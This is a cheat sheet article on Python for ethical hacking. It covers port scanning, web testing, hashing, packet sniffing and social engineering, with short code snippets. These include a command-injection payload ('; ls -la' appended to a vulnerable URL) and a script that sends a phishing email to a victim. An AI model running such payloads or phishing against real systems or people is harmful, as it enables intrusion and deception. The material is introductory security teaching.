Python Cheat Sheet for Ethical Hackers

Python has become one of the most widely used programming languages in ethical hacking and cybersecurity due to its simplicity, flexibility, and extensive library support. It is commonly used to automate tasks, build security tools, and support penetration testing activities.

This cheat sheet is designed as a practical reference for both beginners and experienced cybersecurity professionals looking to apply Python in ethical hacking workflows. In this context, Python is often used for network scanning, vulnerability testing, web scraping, and scripting for tasks such as brute-force testing or proof-of-concept exploits. Libraries such as Scapy, Requests, BeautifulSoup, and Nmap provide powerful capabilities for handling a wide range of security-related tasks.

Python’s clean and readable syntax allows security professionals to focus more on logic and functionality rather than language complexity. Its cross-platform nature also means tools and scripts can be run across Linux, Windows, and macOS environments with minimal changes.

For ethical hackers, Python is particularly valuable for automating repetitive tasks during vulnerability assessments and penetration testing, such as port scanning, data collection, and basic exploit development.

This guide highlights essential Python techniques and commands commonly used in ethical hacking to help streamline workflows and improve efficiency during security testing.

Typical Uses for Python

Python’s simplicity, extensive libraries, and active community make it a popular choice for these tasks. Here are a few ways Python can be used in ethical hacking and penetration testing:

  • Network Scanning Python provides libraries like Scapy and Nmap that allow you to create network scanners to discover open ports, identify network services, and perform host discovery.
  • Exploit Development Python can be used to write exploits and develop proof-of-concept code. The Metasploit Framework, a widely used penetration testing tool, has a Python interface that allows you to automate exploits.
  • Web Application Testing Python frameworks like Flask and Django are useful for creating web applications, but they can also be used to test web applications for vulnerabilities. Libraries like Requests and BeautifulSoup enable HTTP requests, response parsing, and web scraping.
  • Password Cracking Python can be utilized to build password-cracking tools by implementing techniques like brute-force attacks or dictionary attacks. Libraries such as hashlib and bcrypt assist in password hashing and salting.
  • Wireless Network Auditing Python libraries like Scapy and PyRIC enable wireless network auditing tasks such as sniffing, deauthentication attacks, and capturing network packets.
  • Social Engineering Python can be used to automate social engineering attacks, such as sending phishing emails, interacting with social media APIs for reconnaissance, or generating malicious documents.
  • Reporting and Automation Python’s ability to parse and manipulate data makes it useful for automating repetitive tasks, generating reports, and analyzing the results of security tests.

Cheat Sheet for Ethical Hacking

The following is a list of the most important and frequently used Python commands for ethical hacking and pen testing:

1. Networking and Scanning

Commands to scan open ports.

import socket

target = "192.168.0.1"

port = 80

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

result = sock.connect_ex((target, port))

if result == 0:

    print("Port {} is open".format(port))

else:

    print("Port {} is closed".format(port))

2. Exploitation and Payloads

Here’s how to execute a system command on a vulnerable server

import requests

url = "http://vulnerable-server.com/command.php"

payload = "; ls -la"

response = requests.get(url + payload)

print(response.text)

3. Web Application Testing

Commands for sending a POST request with parameters

import requests

url = "http://vulnerable-site.com/login"

data = {

    "username": "admin",

    "password": "password123"

}

response = requests.post(url, data=data)

print(response.text)

4. Password Cracking and Hashing

Here’s how to generate a hash of a password using SHA-256

import hashlib

password = "password123"

hashed_password = hashlib.sha256(password.encode()).hexdigest()

print(hashed_password)

5. Wireless Network Auditing

Commands for sniffing packets on a wireless network interface.

import pyshark

capture = pyshark.LiveCapture(interface='wlan0')

capture.sniff()

for packet in capture:

    print(packet)

6. Social Engineering

Commands for sending a phishing email using smtplib:

import smtplib

from_email = "attacker@gmail.com"

to_email = "victim@example.com"

subject = "Important Message"

body = "This is a phishing email."

msg = "From: {}\nTo: {}\nSubject: {}\n\n{}".format(from_email, to_email, subject, body)

server = smtplib.SMTP("smtp.gmail.com", 587)

server.starttls()

server.login("attacker@gmail.com", "password")

server.sendmail(from_email, to_email, msg)

server.quit()

It’s important to note that ethical hacking and penetration testing should be performed legally and with proper authorization. Always adhere to ethical guidelines and obtain the necessary permissions before conducting any security testing on systems or networks that you don’t own or have permission to test.